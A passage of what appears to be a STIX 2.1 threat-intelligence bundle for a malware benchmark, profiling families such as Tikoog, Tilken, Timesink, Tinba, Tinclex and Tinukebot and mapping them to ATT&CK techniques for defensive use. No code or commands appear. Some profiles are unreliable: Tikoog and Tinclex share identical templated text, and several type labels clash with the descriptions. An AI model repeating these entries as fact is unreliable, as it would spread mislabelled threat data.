      "id": "relationship--19d3fc7a-b6c0-562b-bbe5-10a71963a8ff",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9afc8e55-6fde-594b-9a25-cb450720e15e",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tiklog exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--82de2149-5b1b-593c-849a-577d23c88c50",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Tikoog",
      "description": "<h3>Executive Summary</h3>\nTikoog is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nTikoog is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Tikoog operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Tikoog ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Tikoog receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Tikoog infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Tikoog executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Tikoog frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Tikoog",
        "Downloader.Tikoog",
        "Win32/Tikoog"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Tikoog",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/tikoog"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--19d6dc04-2247-5ecb-93b3-71a9f1939a71",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--82de2149-5b1b-593c-849a-577d23c88c50",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tikoog exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--066710f6-64cb-5456-8617-6e7d18235f7d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--82de2149-5b1b-593c-849a-577d23c88c50",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tikoog exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b99f49a4-d7ad-56b8-902e-6e6817065551",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--82de2149-5b1b-593c-849a-577d23c88c50",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tikoog exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--6411bf7b-63b6-580b-b47d-2b1539d6f317",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Tilken",
      "description": "Trojan:Win32/Tilken is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Tilken</b><br>To an end-user, a Tilken infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Tilken is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Tilken is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Tilken frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Tilken reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 6)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Tilken",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/tilken"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f743e39e-4fc9-5063-88bf-9c3a5d787a92",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6411bf7b-63b6-580b-b47d-2b1539d6f317",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tilken exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e18f1d57-a913-5223-ac0f-ef3063e52983",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6411bf7b-63b6-580b-b47d-2b1539d6f317",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tilken exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8d495ff4-e5a6-58c5-97de-c25bc25fbe7a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6411bf7b-63b6-580b-b47d-2b1539d6f317",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tilken exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9915538b-fe3e-5cb9-9224-3ff45f9a182d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6411bf7b-63b6-580b-b47d-2b1539d6f317",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tilken exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f43c34d3-18f5-53c8-904d-184bffe63191",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6411bf7b-63b6-580b-b47d-2b1539d6f317",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tilken exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--465e7f64-8488-5a81-8230-4b243a093a19",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Timesink",
      "description": "Adware:Win32/Timesink is an intrusive Potentially Unwanted Program (PUP) designed to forcibly alter a user's web browsing experience. It manipulates browser settings to redirect search queries, injects unwanted advertisements into webpages, and tracks user browsing behavior to generate illicit Pay-Per-Click (PPC) revenue for its creators.<br><br><b>Understanding Timesink</b><br>To an end-user, Timesink manifests as a sudden, unwanted change to their browser's homepage, new tab page, and the appearance of unremovable toolbars or persistent pop-up ads. It effectively 'sinks' the user's productivity by drowning them in advertisements. For a security team, it represents a breakdown in endpoint hygiene and a potential vector for more serious infections via malvertising (malicious advertisements).<br><br><b>Execution and Hijacking Mechanics</b><br>Timesink is typically distributed via deceptive software bundles, fake software updates, or malicious browser extensions downloaded from third-party sites (`T1189`). Upon execution, it modifies the Windows Registry (`T1112`) and browser configuration files to enforce its settings (`T1562.001`). It installs persistent browser extensions or Browser Helper Objects (BHOs) (`T1176`) to monitor searches and ensure the hijacking cannot be easily reversed by the user. These extensions locally intercept web traffic to inject sponsored links directly into the DOM of legitimate websites.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is a severely degraded user experience, potential privacy violations (tracking of search queries), and exposure to potentially malicious ads. Host-based IoCs include EDR alerts for modifications to browser shortcut properties, unexpected additions to browser extension directories, or anomalous BHO registrations in the Registry. Network IoCs include DNS queries resolving to adware tracking infrastructure and redirected search traffic containing tracking parameters. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Timesink",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/timesink"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b8d8f015-35c7-55aa-b34f-5f0515634bbd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--465e7f64-8488-5a81-8230-4b243a093a19",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Timesink exhibits technique T1176 (Browser Extensions (Installing malicious toolbars/BHOs))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3c36c628-78a1-5988-95e4-d945015cc6d4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--465e7f64-8488-5a81-8230-4b243a093a19",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Timesink exhibits technique T1112 (Modify Registry (Changing default search/homepage keys))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--764ffa2f-967a-5a9e-8b30-19968070386f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--465e7f64-8488-5a81-8230-4b243a093a19",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Timesink exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Browser hijacking))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--49dd2a2a-1f0c-5403-9b36-246e9a937c9a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--465e7f64-8488-5a81-8230-4b243a093a19",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Timesink exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--99b66806-a871-5add-9251-366610033741",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Tinba",
      "description": "Trojan:Win32/Tinba (short for 'Tiny Banker', also cataloged by vendors as Zusy) is a landmark banking trojan famous for its remarkably micro-sized footprint\u2014compiled down to approximately 20 kilobytes. Despite its miniature assembly codebase, Tinba packed an entire suite of sophisticated Man-in-the-Browser (MitB) capabilities. Discovered in 2012, Tinba injects directly into Windows Explorer (explorer.exe) and web browser processes (including Internet Explorer, Firefox, and Chrome), hooking Windows socket (WS2_32.dll) and WinINet APIs to intercept encrypted HTTPS web sessions. When a victim navigated to targeted financial institutions across North America and Europe, Tinba executed dynamic webinjects that forged authentication prompts, intercepted login credentials and two-factor SMS/token codes, and initiated unauthorized wire transfers before law enforcement and CERT Polska successfully sinkholed major C2 domains in 2014. (Observed samples in benchmark: 1,531)",
      "is_family": true,
      "malware_types": [
        "trojan",
        "banking-trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Tinba",
        "Tiny Banker",
        "Zusy",
        "Trojan:Win32/Tinba",
        "Win32/Tinba",
        "Tiny Banker Trojan",
        "Trojan.Tinba"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Tinba",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/tinba"
        }
      ],
      "labels": [
        "banking_trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5fd74162-e6a4-58ed-ae3e-14d3396b9686",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--99b66806-a871-5add-9251-366610033741",
      "target_ref": "attack-pattern--6fa87c46-0565-5b5a-889d-44254001e763",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tinba exhibits technique T1185 (Browser Session Hijacking)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--324c8bd0-d7de-5020-b365-86aa1603d155",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--99b66806-a871-5add-9251-366610033741",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tinba exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--62a3f87f-fbb7-5dff-9556-60495681e5e7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--99b66806-a871-5add-9251-366610033741",
      "target_ref": "attack-pattern--510c8478-024c-53be-b9d9-53f9b7c3bc2c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tinba exhibits technique T1111 (Two-Factor Authentication Interception)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--32849483-a5d1-5c36-86af-1ebbfd90fe56",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--99b66806-a871-5add-9251-366610033741",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tinba exhibits technique T1056.001 (Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8c289548-17cd-5da0-8ab4-acd165edc8f0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--99b66806-a871-5add-9251-366610033741",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tinba exhibits technique T1071.001 (Web Protocols)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--44ab5ba0-0eb3-566c-a1d3-7fd352ceb9b6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--99b66806-a871-5add-9251-366610033741",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tinba exhibits technique T1547.001 (Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--403a1475-e7bf-5a20-8381-f5ffab81b23e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--99b66806-a871-5add-9251-366610033741",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tinba exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f66216cc-ef61-5e75-b217-64a2d4f50d4c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--99b66806-a871-5add-9251-366610033741",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tinba exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--57ac7209-e0aa-5e1d-a13e-9f4de64ddbc4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Tinclex",
      "description": "<h3>Executive Summary</h3>\nTinclex is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nTinclex is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Tinclex operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Tinclex ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Tinclex receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Tinclex infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Tinclex executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Tinclex frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Tinclex",
        "Downloader.Tinclex",
        "Win32/Tinclex"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Tinclex",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/tinclex"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a65ce40e-c4ca-5990-ac93-b62dfac9eba5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--57ac7209-e0aa-5e1d-a13e-9f4de64ddbc4",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tinclex exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--39083132-8d21-52c7-9ae1-a6b5056dd4bc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--57ac7209-e0aa-5e1d-a13e-9f4de64ddbc4",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tinclex exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ba94db85-9a91-5eeb-88f8-80827fc13057",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--57ac7209-e0aa-5e1d-a13e-9f4de64ddbc4",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tinclex exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--a3c3f43f-c795-570a-af70-c3d5bb4c9cfa",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Tinukebot",
      "description": "Trojan:Win32/Tinukebot (widely known as **TinyNuke** or Nuclear Bot) is a sophisticated, commercially sold banking trojan and botnet framework. Its primary objective is to facilitate severe financial fraud by stealing banking credentials, bypassing Multi-Factor Authentication (MFA), and allowing attackers to initiate unauthorized wire transfers directly from the victim's compromised machine. Its source code was leaked in 2017, leading to numerous highly customized, dangerous variants.<br><br><b>Understanding TinyNuke (Banking Trojans)</b><br>To a victim, a TinyNuke infection is invisible until money is missing from their accounts. For a financial institution, it represents a critical threat capable of defeating standard anti-fraud measures. TinyNuke specializes in Man-in-the-Browser (MitB) attacks and Hidden VNC (hVNC) sessions, allowing the attacker to interact with the victim's bank session while the victim is actively logged in, bypassing IP and device fingerprinting checks.<br><br><b>Execution and Web Injection Mechanics</b><br>TinyNuke is typically distributed via targeted malspam (`T1566.001`) or dropped by other loaders. Upon execution, it achieves persistence (`T1547.001`) and heavily utilizes API hooking and process injection (`T1055`) to embed itself into web browsers (Chrome, Firefox, IE). When the victim navigates to a targeted banking URL, TinyNuke uses 'Web Injects' (`T1185`) to dynamically alter the HTML/JavaScript of the bank's page before it renders on the screen. It can present fake login fields asking for Social Security numbers or ATM PINs, capturing the data and sending it to the C2 server. Furthermore, its hVNC capability (`T1071.001`) allows the attacker to open a hidden, secondary desktop session on the victim's machine to execute fraudulent transactions using the victim's already-authenticated browser session.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is direct, massive financial theft. Host-based IoCs include EDR alerts for known banking trojan signatures, suspicious DLLs injected into browser processes (`chrome.exe`, `firefox.exe`), and unexpected outbound network connections from those browsers to known malicious C2 panels. Network IoCs include the downloading of 'web inject' configuration files from the C2 infrastructure. (Observed samples in benchmark: 5)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Tinukebot",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/tinukebot"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f6cb868d-6a13-55a3-8816-9f68fb542925",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a3c3f43f-c795-570a-af70-c3d5bb4c9cfa",
      "target_ref": "attack-pattern--6fa87c46-0565-5b5a-889d-44254001e763",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tinukebot exhibits technique T1185 (Browser Session Hijacking (Man-in-the-Browser / Web Injects))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--30fe94e9-21b5-51dc-bd99-cf34dd0e04e5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a3c3f43f-c795-570a-af70-c3d5bb4c9cfa",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tinukebot exhibits technique T1055 (Process Injection (Hooking browser APIs))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--610a8c8b-9bec-5cc7-9355-52dda8736910",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a3c3f43f-c795-570a-af70-c3d5bb4c9cfa",
      "target_ref": "attack-pattern--87ff6f4d-2443-560e-9936-9f380887aee1",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tinukebot exhibits technique T1555.003 (Credentials from Password Stores: Credentials from Web Browsers)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f5ae4133-7aeb-5d88-a126-2d28d5f1cdf1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a3c3f43f-c795-570a-af70-c3d5bb4c9cfa",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tinukebot exhibits technique T1071.001 (Application Layer Protocol: Web Protocols (hVNC communication))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--e40023d8-094b-5508-9c76-47868c6b6c4e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Tinydl",
